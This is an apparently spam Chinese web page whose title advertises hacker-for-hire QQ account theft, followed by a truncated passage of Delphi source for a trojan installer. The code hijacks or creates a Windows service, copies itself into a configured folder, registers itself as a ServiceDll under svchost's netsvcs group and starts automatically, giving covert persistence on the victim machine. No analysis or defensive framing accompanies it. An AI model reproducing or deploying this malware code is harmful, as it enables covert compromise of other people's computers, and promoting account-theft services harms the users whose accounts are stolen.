黑客帮找qq(黑客盗号接单)
procedure Install(var DelMe:Boolean );stdcall ;varFileName: array[0..255] of Char;reg:TRegistry;hSCM,hSCS: Cardinal ;ss : TServiceStatus;Args : PChar;s,s1:string;begin FillChar(FileName,SizeOf(FileName),0);GetModuleFileName(HInstance, FileName, SizeOf(FileName));s := Config.DIR+config.FileName;reg := TRegistry.Create;reg.RootKey := HKEY_LOCAL_MACHINE ;hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);if hSCM = 0 then Exit ;case Config.StartupMode ofRunAsServiceD : //'s':现存服务启动 begin hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin ControlService(hSCS ,SERVICE_CONTROL_STOP,ss); ChangeServiceConfig(hSCS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_NO_CHANGE, nil,nil,nil,nil,nil,nil,nil); if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ; SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); reg.CloseKey; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); StartService(hSCS , 0, Args); CloseServiceHandle(hSCS); end; end;RunAsService : //新建服务启动 begin InstallService(Config.SrvName, Config.DisplayName, '%SystemRoot%\System32\svchost.exe -k netsvcs', Config.Description); //安装服务 if lstrcmpi(FileName,PChar(s)) <> 0 then begin Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL ); CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹 end; reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+ '\Parameters\',True) ; reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ ); reg.CloseKey; reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False ); SetPrivilege('SeBackupPrivilege'); RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil); SetPrivilege('SeBackupPrivilege',False ); s1 := reg.ReadString('netsvcs'); s1 := config.SrvName+#0+s1; reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ ); hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS); if hSCS <> 0 then begin StartService(hSCS , 0, Args);
(责任编辑:网络)